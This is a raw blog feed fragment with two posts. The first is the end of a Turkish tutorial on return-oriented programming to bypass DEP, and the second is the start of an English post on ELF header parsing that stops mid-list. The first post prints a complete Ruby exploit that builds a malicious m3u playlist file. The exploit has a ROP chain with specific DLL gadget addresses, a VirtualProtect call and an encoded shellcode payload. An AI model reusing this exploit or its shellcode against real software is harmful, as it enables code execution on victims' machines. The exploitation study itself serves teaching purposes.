rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP&lt;/pre&gt;Exploit&#39;imi NEG instruction&#39;ı kullanacak şekilde güncelledim ve ADD EAX, 100 gadget&#39;larını kaldırdım.   Daha önceden yaptığım gibi yine ESI&#39;yi kurtarmam lazım bunun içinde daha önceden kullanmış olduğum MOV EAX,EDI + POP ESI + RET ve PUSH EAX + POP ESI + RETN gadget&#39;larını kullanacağım. Bu gadget&#39;lar ile ESI&#39;yi tekrar 0x000FF734 değerine eşitledim. Tekrar EAX&#39;i XOR ile sıfırlıyarak 4.parametre olan 0x40&#39;a eşitleyeceğim. 0x7C972250 adresinde ADD EAX, 40 instruction&#39;ına sahip bir gadget var onu kullanacağız ve son olarak 0x77ECF538 adresindeki MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN instruction&#39;ı ile ESI+24&#39;e yani 4.parametreye 0x40 yazdıracağız. Exploit&#39;in ve stack&#39;in son hali şu şekilde.&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Exploit:&lt;/b&gt; &lt;br /&gt;
&lt;pre&gt;filename = &quot;rop2.m3u&quot;
buffersize = 26109
junk = &quot;A&quot; * buffersize

eip = [0x1002DC2A].pack(&quot;V*&quot;) # RET

# rop payload
rop = &quot;FFFF&quot;
rop &amp;lt;&amp;lt; [0x5AD79277].pack(&quot;V*&quot;) # PUSH ESP + ... + POP EDI + RET
rop &amp;lt;&amp;lt; [0x77C34DC2].pack(&quot;V*&quot;) # MOV EAX,EDI + POP ESI + RET
rop &amp;lt;&amp;lt; [0x33445566].pack(&quot;V*&quot;) # trash for POP 
rop &amp;lt;&amp;lt; [0x775D131E].pack(&quot;V*&quot;) # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP&#39;nin değerine sahipler

rop &amp;lt;&amp;lt; [0x77C22894].pack(&quot;V*&quot;) # ADD ESP,20 + POP + RET
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP

# VirtualProtect
rop &amp;lt;&amp;lt; [0x7C801AD4].pack(&quot;V*&quot;) # VirtualProtect from kernel32.dll
rop &amp;lt;&amp;lt; [0x44444444].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x45454545].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x46464646].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x47474747].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x10035005].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x61616161].pack(&quot;V*&quot;) # add esp,20 için
rop &amp;lt;&amp;lt; [0x61616161].pack(&quot;V*&quot;) # add esp,20 için

# EAX&#39;i shellcode&#39;a işaret ettiriyoruz
rop &amp;lt;&amp;lt; [0x77C4EC2B].pack(&quot;V*&quot;) # ADD EAX,100 + POP EBP + RETN &amp;gt; msvcrt.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x000FF734
# Overwrite first &amp;amp; second parameter of VP()
rop &amp;lt;&amp;lt; [0x7301D6EA].pack(&quot;V*&quot;) # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 &amp;gt; MFC42.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP ESI
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x41414141
rop &amp;lt;&amp;lt; [0x77C34DC2].pack(&quot;V*&quot;) # MOV EAX,EDI + POP ESI + RET
rop &amp;lt;&amp;lt; [0x14141414].pack(&quot;V*&quot;) # trash for RETN 4
rop &amp;lt;&amp;lt; [0x62626262].pack(&quot;V*&quot;) # trash for POP ESI
rop &amp;lt;&amp;lt; [0x775D131E].pack(&quot;V*&quot;) # PUSH EAX + POP ESI + RETN

# EAX = 0x000FF734
# EDI = 0x000FF734
# ESI = 0x000FF734
# EAX&#39;i shellcode size&#39;a eşitliyoruz VP()&#39;nin 3.parametresi olarak
rop &amp;lt;&amp;lt; [0x77C4E0DA].pack(&quot;V*&quot;) # POP EAX + RETN &amp;gt; msvcrt.dll 
rop &amp;lt;&amp;lt; [0xFFFFFBFF].pack(&quot;V*&quot;) # NEG(0xFFFFFBFF) = 0x00000400
rop &amp;lt;&amp;lt; [0x77C1D1E3].pack(&quot;V*&quot;) # NEG EAX + POP EBP + RETN &amp;gt; msvcrt.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP

# EAX&#39;i (0x300) ESI+20&#39;ye taşıyoruz.. VP()&#39;nin 3.parametresi
rop &amp;lt;&amp;lt; [0x775DD86D].pack(&quot;V*&quot;) # MOV DWORD PTR DS:[ESI+20],EAX + POP ESI + POP EBX + POP EBP + RETN 4 &amp;gt; ole32.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP ESI
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBX
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP

# ESI tekrar kurtarıldı
rop &amp;lt;&amp;lt; [0x77C34DC2].pack(&quot;V*&quot;) # MOV EAX,EDI + POP ESI + RET
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for RETN 4
rop &amp;lt;&amp;lt; [0x14141414].pack(&quot;V*&quot;) # trash for POP ESI
rop &amp;lt;&amp;lt; [0x775D131E].pack(&quot;V*&quot;) # PUSH EAX + POP ESI + RETN &amp;gt; ole32.dll

# EAX&#39;i VP()&#39;nin 4.parametresi olan 0x40&#39;a eşitliyoruz..
rop &amp;lt;&amp;lt; [0x100307A9].pack(&quot;V*&quot;) # XOR EAX, EAX + RETN &amp;gt; MSRMfilter03.dll
rop &amp;lt;&amp;lt; [0x7C972250].pack(&quot;V*&quot;) # ADD EAX,40 + POP EBP + RETN &amp;gt; ntdll.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP

# ESI+24&#39;e EAX(0x40)&#39;i yazdiriyoruz..
rop &amp;lt;&amp;lt; [0x77ECF538].pack(&quot;V*&quot;) # MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN &amp;gt; RPCRT4.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP ESI


nops = (&quot;\x90&quot; * 100)
shellcode = (&quot;\xCC&quot; * 350)
junk2 = (&quot;\xCC&quot; * (600 - shellcode.length))
payload = &quot;#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}&quot;

puts &quot;Payload size : #{payload.length}&quot;

File.open(&quot;rop2.m3u&quot;, &quot;w&quot;) { |f| 
 f.write(payload)
}&lt;/pre&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJHneg5nMn4VG0Mlr6Ys3vWHUZ7US3CJ74OqkWkzmWEc3c3FSkCe8e7WDdInioq7Nv6EFlkReagP6yntmQo7sKXdCc3YcMsws7uA6egqpu9La8_mY0TwAnUkpFphAVueIJHg1vEdFWra5C/s1600/r0pped.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJHneg5nMn4VG0Mlr6Ys3vWHUZ7US3CJ74OqkWkzmWEc3c3FSkCe8e7WDdInioq7Nv6EFlkReagP6yntmQo7sKXdCc3YcMsws7uA6egqpu9La8_mY0TwAnUkpFphAVueIJHg1vEdFWra5C/s1600/r0pped.png&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Stack&#39;in Son Durumu&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;Stack son durumu yukarıdaki gibi. VP()&#39;nin tüm parametrelerini istediğimiz şekilde ayarladık. Şimdi tek yapmamız gereken ESP&#39;yi VP()&#39;nin başlangıcına (0x000FF748) eşitlemek ve RETN ile yeni ESP&#39;ye dönmek ve DEP&#39;i bypass etmek.&lt;br /&gt;
&lt;br /&gt;
İlk olarak EAX&#39;ı tekrar kurtarmam lazım. Ne gerek var EDI&#39;yi kullan diyebilirsiniz belki ama EDI ile çok fazla gadget bulunamayabiliyor. Bu yüzden yine&amp;nbsp;MOV EAX,EDI + POP ESI + RETN gadget&#39;ı ile EAX&#39;ı tekrar 0x000FF734 değerine eşitliyorum.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;rop &amp;lt;&amp;lt; [0x77C34DC2].pack(&quot;V*&quot;) # MOV EAX,EDI + POP ESI + RET
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP ESI&lt;/pre&gt;&lt;br /&gt;
Aşağıdaki resimden görebileceğiniz üzere VirtualProtect&#39;in adresi ve parametreleri 0x000FF748 adresinden itibaren başlıyor. O zaman benim EAX&#39;ı 0x14 (20d) kadar arttırmam ve ardından EAX&#39;ı ESP&#39;ye taşımam lazım.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8ylVAz3SLObxxzW1d7Sr12d0TP98LucHvFGgwSaSkjTdflwh85pIJQXB2_ttTJwN9VXm6mRQGa1bAoAvjnB1_4wydl8-nSfaOGseU8D9FGS8H3xlJjttvOWHuKlebdGTQlkfXEmjrKSVL/s1600/stack_pivoting.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;325&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8ylVAz3SLObxxzW1d7Sr12d0TP98LucHvFGgwSaSkjTdflwh85pIJQXB2_ttTJwN9VXm6mRQGa1bAoAvjnB1_4wydl8-nSfaOGseU8D9FGS8H3xlJjttvOWHuKlebdGTQlkfXEmjrKSVL/s400/stack_pivoting.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
EAX&#39;ı arttırmak için bulabildiğim gadget&#39;lar&amp;nbsp;0x77C1F2CF adresindeki ADD EAX,0C + RETN ve&amp;nbsp;0x1001D2AC adresindeki ADD EAX,4 + RETN gadget&#39;ları. Gadget&#39;ları aşağıdaki şekilde çalıştırarak EAX&#39;ı 0x000FF748&#39;e eşitliyorum. Ardından&amp;nbsp;0x77C15ED5 adresinde bulmuş olduğum XCHG ESP,EAX + RETN gadget&#39;ı ilede ESP&#39;yi 0x000FF748 EAX&#39;ı ise ESP&#39;nin değerine eşitliyorum (Bu aşamadan sonra çok önemli değil EAX&#39;ın başına gelenler).&lt;br /&gt;
&lt;br /&gt;
Bingo! VP() fonksiyonu başarıyla çağırıldı, shellcode&#39;umun bulunduğu alan kod çalıştırılabilir hale getirildi ve shellcode&#39;um çalıştı!&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheyoOLGDYTKwP_2PgFL8pfT8N_Nfe0Yi-indBaab0HI81rtLE3R3kfaeKekNXotIbiTp6dOCCPiD-H5hXxqrZNAqLR3vqTRzbXjdIPu8orbzVsy-mXD34nauisa6DOEC_DVwNHFdIjVPlE/s1600/before.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;205&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheyoOLGDYTKwP_2PgFL8pfT8N_Nfe0Yi-indBaab0HI81rtLE3R3kfaeKekNXotIbiTp6dOCCPiD-H5hXxqrZNAqLR3vqTRzbXjdIPu8orbzVsy-mXD34nauisa6DOEC_DVwNHFdIjVPlE/s400/before.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Exploit çalıştırılmadan önce&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRapXGuX3JfRzLCeTxk410wjogWtjV3hxh-CsKQ_8yAWxuMVGAVwp5BnOtavcyQdWU9OPWTMHS7txhyphenhyphen5h_7Yk7GasxwX7oPK4Qq69R0ejrA1BRQS7IQeP3i6wMp8rfBdysTh7EYBh5UBMK/s1600/DEP-bypassed.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;205&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRapXGuX3JfRzLCeTxk410wjogWtjV3hxh-CsKQ_8yAWxuMVGAVwp5BnOtavcyQdWU9OPWTMHS7txhyphenhyphen5h_7Yk7GasxwX7oPK4Qq69R0ejrA1BRQS7IQeP3i6wMp8rfBdysTh7EYBh5UBMK/s400/DEP-bypassed.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Exploit çalıştırıldıktan sonra&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;br /&gt;
Son olarak exploit&#39;imin son hali:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;filename = &quot;rop2.m3u&quot;
buffersize = 26109
junk = &quot;A&quot; * buffersize

eip = [0x1002DC2A].pack(&quot;V*&quot;) # RET

# rop payload
rop = &quot;FFFF&quot;
rop &amp;lt;&amp;lt; [0x5AD79277].pack(&quot;V*&quot;) # PUSH ESP + MOV EAX, EDX + POP EDI + RET
rop &amp;lt;&amp;lt; [0x77C34DC2].pack(&quot;V*&quot;) # MOV EAX,EDI + POP ESI + RET
rop &amp;lt;&amp;lt; [0xffffff14].pack(&quot;V*&quot;) # trash for POP 
rop &amp;lt;&amp;lt; [0x775D131E].pack(&quot;V*&quot;) # PUSH EAX + POP ESI + RETN &amp;gt; ole32.dll
# EDI, ESI ve EAX saved ESP&#39;ye sahipler

rop &amp;lt;&amp;lt; [0x77C22894].pack(&quot;V*&quot;) # ADD ESP,20 + POP EBP + RET
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP

# VirtualProtect Placeholder
rop &amp;lt;&amp;lt; [0x7C801AD4].pack(&quot;V*&quot;) # VirtualProtect from kernel32.dll
rop &amp;lt;&amp;lt; [0x44444444].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x45454545].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x46464646].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x47474747].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x10035005].pack(&quot;V*&quot;)

rop &amp;lt;&amp;lt; [0x61616161].pack(&quot;V*&quot;) # some padding for add esp,20
rop &amp;lt;&amp;lt; [0x61616161].pack(&quot;V*&quot;)

# EAX&#39;i shellcode&#39;a işaret ettiriyoruz
rop &amp;lt;&amp;lt; [0x77C4EC2B].pack(&quot;V*&quot;) # ADD EAX,100 + POP EBP + RETN &amp;gt; msvcrt.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x000FF734
# Overwrite first &amp;amp; second parameter of VP()
rop &amp;lt;&amp;lt; [0x7301D6EA].pack(&quot;V*&quot;) # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 &amp;gt; MFC42.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP ESI
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBp

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x41414141
rop &amp;lt;&amp;lt; [0x77C34DC2].pack(&quot;V*&quot;) # MOV EAX,EDI + POP ESI + RET
rop &amp;lt;&amp;lt; [0x14141414].pack(&quot;V*&quot;) # trash for RETN 4
rop &amp;lt;&amp;lt; [0x62626262].pack(&quot;V*&quot;) # trash for POP ESI
rop &amp;lt;&amp;lt; [0x775D131E].pack(&quot;V*&quot;) # PUSH EAX + POP ESI + RETN &amp;gt; ole32.dll

# EAX = 0x000FF734
# EDI = 0x000FF734
# ESI = 0x000FF734
# EAX&#39;i shellcode size&#39;a eşitliyoruz VP()&#39;nin 3.parametresi olarak
rop &amp;lt;&amp;lt; [0x77C4E0DA].pack(&quot;V*&quot;) # POP EAX + RETN &amp;gt; msvcrt.dll 
rop &amp;lt;&amp;lt; [0xFFFFFBFF].pack(&quot;V*&quot;) # NEG(0xFFFFFBFF) = 0x00000400
rop &amp;lt;&amp;lt; [0x77C1D1E3].pack(&quot;V*&quot;) # NEG EAX + POP EBP + RETN &amp;gt; msvcrt.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP

# EAX&#39;i (0x300) ESI+20&#39;ye taşıyoruz.. VP()&#39;nin 3.parametresi
rop &amp;lt;&amp;lt; [0x775DD86D].pack(&quot;V*&quot;) # MOV DWORD PTR DS:[ESI+20],EAX + POP ESI + POP EBX + POP EBP + RETN 4 &amp;gt; ole32.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP ESI
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBX
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP

# ESI tekrar kurtarıldı
rop &amp;lt;&amp;lt; [0x77C34DC2].pack(&quot;V*&quot;) # MOV EAX,EDI + POP ESI + RET
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for RETN 4
rop &amp;lt;&amp;lt; [0x14141414].pack(&quot;V*&quot;) # trash for POP ESI
rop &amp;lt;&amp;lt; [0x775D131E].pack(&quot;V*&quot;) # PUSH EAX + POP ESI + RETN &amp;gt; ole32.dll

# EAX&#39;i VP()&#39;nin 4.parametresi olan 0x40&#39;a eşitliyoruz..
rop &amp;lt;&amp;lt; [0x100307A9].pack(&quot;V*&quot;) # XOR EAX, EAX + RETN &amp;gt; MSRMfilter03.dll
rop &amp;lt;&amp;lt; [0x7C972250].pack(&quot;V*&quot;) # ADD EAX,40 + POP EBP + RETN &amp;gt; ntdll.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP

# ESI+24&#39;e EAX(0x40)&#39;i yazdiriyoruz..
rop &amp;lt;&amp;lt; [0x77ECF538].pack(&quot;V*&quot;) # MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN &amp;gt; RPCRT4.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP ESI

# Trying to point ESP to EAX (VP()!)
rop &amp;lt;&amp;lt; [0x77C34DC2].pack(&quot;V*&quot;) # MOV EAX,EDI + POP ESI + RET
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP ESI
rop &amp;lt;&amp;lt; [0x77C1F2CF].pack(&quot;V*&quot;) # ADD EAX,0C + RETN &amp;gt; msvcrt.dll
rop &amp;lt;&amp;lt; [0x1001D2AC].pack(&quot;V*&quot;) # ADD EAX,4 + RETN &amp;gt; MSRMfilter03.dll
rop &amp;lt;&amp;lt; [0x1001D2AC].pack(&quot;V*&quot;) # ADD EAX,4 + RETN &amp;gt; MSRMfilter03.dll
rop &amp;lt;&amp;lt; [0x77C15ED5].pack(&quot;V*&quot;) # XCHG ESP,EAX + RETN &amp;gt; msvcrt.dll

# shellcode to execute from stack when ROP success
nops = (&quot;\x90&quot; * 100)
shellcode = &quot;\xbb\xfd\x1c\xf5\x42\xd9\xc0\xd9\x74\x24\xf4\x5d\x33\xc9&quot; +
&quot;\xb1\x33\x31\x5d\x12\x03\x5d\x12\x83\x10\xe0\x17\xb7\x16&quot; +
&quot;\xf1\x51\x38\xe6\x02\x02\xb0\x03\x33\x10\xa6\x40\x66\xa4&quot; +
&quot;\xac\x04\x8b\x4f\xe0\xbc\x18\x3d\x2d\xb3\xa9\x88\x0b\xfa&quot; +
&quot;\x2a\x3d\x94\x50\xe8\x5f\x68\xaa\x3d\x80\x51\x65\x30\xc1&quot; +
&quot;\x96\x9b\xbb\x93\x4f\xd0\x6e\x04\xfb\xa4\xb2\x25\x2b\xa3&quot; +
&quot;\x8b\x5d\x4e\x73\x7f\xd4\x51\xa3\xd0\x63\x19\x5b\x5a\x2b&quot; +
&quot;\xba\x5a\x8f\x2f\x86\x15\xa4\x84\x7c\xa4\x6c\xd5\x7d\x97&quot; +
&quot;\x50\xba\x43\x18\x5d\xc2\x84\x9e\xbe\xb1\xfe\xdd\x43\xc2&quot; +
&quot;\xc4\x9c\x9f\x47\xd9\x06\x6b\xff\x39\xb7\xb8\x66\xc9\xbb&quot; +
&quot;\x75\xec\x95\xdf\x88\x21\xae\xdb\x01\xc4\x61\x6a\x51\xe3&quot; +
&quot;\xa5\x37\x01\x8a\xfc\x9d\xe4\xb3\x1f\x79\x58\x16\x6b\x6b&quot; +
&quot;\x8d\x20\x36\xe1\x50\xa0\x4c\x4c\x52\xba\x4e\xfe\x3b\x8b&quot; +
&quot;\xc5\x91\x3c\x14\x0c\xd6\xb3\x5e\x0d\x7e\x5c\x07\xc7\xc3&quot; +
&quot;\x01\xb8\x3d\x07\x3c\x3b\xb4\xf7\xbb\x23\xbd\xf2\x80\xe3&quot; +
&quot;\x2d\x8e\x99\x81\x51\x3d\x99\x83\x31\xa0\x09\x4f\x98\x47&quot; +
&quot;\xaa\xea\xe4&quot;
junk2 = (&quot;\xCC&quot; * (600 - shellcode.length))
payload = &quot;#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}&quot;

puts &quot;Payload size : #{rop.length}&quot;

File.open(&quot;rop2.m3u&quot;, &quot;w&quot;) { |f| 
 f.write(payload)
}&lt;/pre&gt;&lt;br /&gt;
Bu makaleyi burada bitiriyorum. Biraz uzun oldu ise kusura bakmayın sanırım yazacak çok şey vardı. İyi ROP&#39;lamalar :&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #0b5394; font-size: large;&quot;&gt;Referanslar&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
[1] http://msdn.microsoft.com/en-us/library/aa366898(v=vs.85).aspx&lt;br /&gt;
[2] http://msdn.microsoft.com/en-us/library/aa366786(v=vs.85).aspx</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/5171214420156819876/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2011/07/return-oriented-programming-dep-bypass.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/5171214420156819876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/5171214420156819876'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2011/07/return-oriented-programming-dep-bypass.html' title='Return-Oriented Programming / DEP Bypass'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsDwPo8eYyV1S-TkPzZ-oQF9Agk5qoAbexYmkQbyseZFanFrjEEoJEAFOjRVYkQ06HoutTwzdBRwf4OaGqdgeXso3675QZTEBr-WyBvQECVVi2kbGkq8v0pJEcf3Hbl8hsq4yw7LIXCW18/s72-c/virtualProtect.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-6977136329998787774</id><published>2011-07-18T16:07:00.000+03:00</published><updated>2011-07-18T16:08:24.923+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="elf"/><category scheme="http://www.blogger.com/atom/ns#" term="elf header table"/><category scheme="http://www.blogger.com/atom/ns#" term="elf internals"/><category scheme="http://www.blogger.com/atom/ns#" term="elf parser"/><category scheme="http://www.blogger.com/atom/ns#" term="file format"/><category scheme="http://www.blogger.com/atom/ns#" term="parser"/><category scheme="http://www.blogger.com/atom/ns#" term="ruby"/><title type='text'>ELF File Format Parsing</title><content type='html'>In this post i will explain how to parse 32 bit ELF File Format for finding offsets of segments. Firstly we need to lookup ELF Header (First 52 bytes) for taking offsets of Program Headers Table, EntryPoint Addr, Section Headers Tables etc..&lt;br /&gt;
&lt;br /&gt;
If we take an DWORD value from 24th offset of ELF Header we can grab EntryPoint of executable file. DWORD value at 32th offset is start offset of &lt;b&gt;Section Headers Table&lt;/b&gt; and size of this headers table is located at 46th offset as a WORD value. We also need number of section headers that located at 48th offset as a WORD value. Also &lt;b&gt;Section Header String Table Index&lt;/b&gt; is located at 50th offset as a WORD value. So we can say ELF Header structure is like this;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;Magic Number: 16 bytes
Class: 1 byte
Data: 1 byte
Version:&amp;nbsp;1 byte
OS/ABI:&amp;nbsp;1 byte
ABI Version:&amp;nbsp;1 byte
Type:&amp;nbsp;1 byte
Machine:&amp;nbsp;1 byte
Version:&amp;nbsp;1 byte
&lt;b&gt;EntryPoint: DWORD&lt;/b&gt;
Start of Program Headers: DWORD
&lt;b&gt;Start of Section Headers: DWORD&lt;/b&gt;
Flags: DWORD
Size of this header: WORD
Size of program headers: WORD
Number of program headers: WORD
Size of section headers: WORD
Number of section headers: WORD
Section header string table index: WORD&lt;/pre&gt;&lt;br /&gt;
It&#39;s OK, we can succesfully parse ELF Header table with this structure. But we need to parse Section Headers table for accessing segments like .text, .rodata, .strtab, .symtab etc..&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivpCuJDBcE9PMP41JIF7t_H8bLNY6FC6IWapPPYSikX5gMj2QsN4-YaKXIeVH-nrF9iEUAayv8VHHNar4eV3GQiYqB3dQL0doirctxTMvjQKdmR_wp5vxoPiAiwr4CbFV-sr43e9WnEuLr/s1600/elf_header.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivpCuJDBcE9PMP41JIF7t_H8bLNY6FC6IWapPPYSikX5gMj2QsN4-YaKXIeVH-nrF9iEUAayv8VHHNar4eV3GQiYqB3dQL0doirctxTMvjQKdmR_wp5vxoPiAiwr4CbFV-sr43e9WnEuLr/s1600/elf_header.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Structure of Section Headers Table is more complicated than ELF Header. According to output of readelf utility, executable file have 29 Section Headers and each Section Header is 40 bytes long. Section Headers Table structure is like this;&lt;/div&gt;&lt;br /&gt;
&lt;pre&gt;&lt;b&gt;Section Name: DWORD&lt;/b&gt; (&lt;i&gt;We will use this offset at .shstrtab for parsing names&lt;/i&gt;)
Section Type: DWORD
Section Flag: DWORD
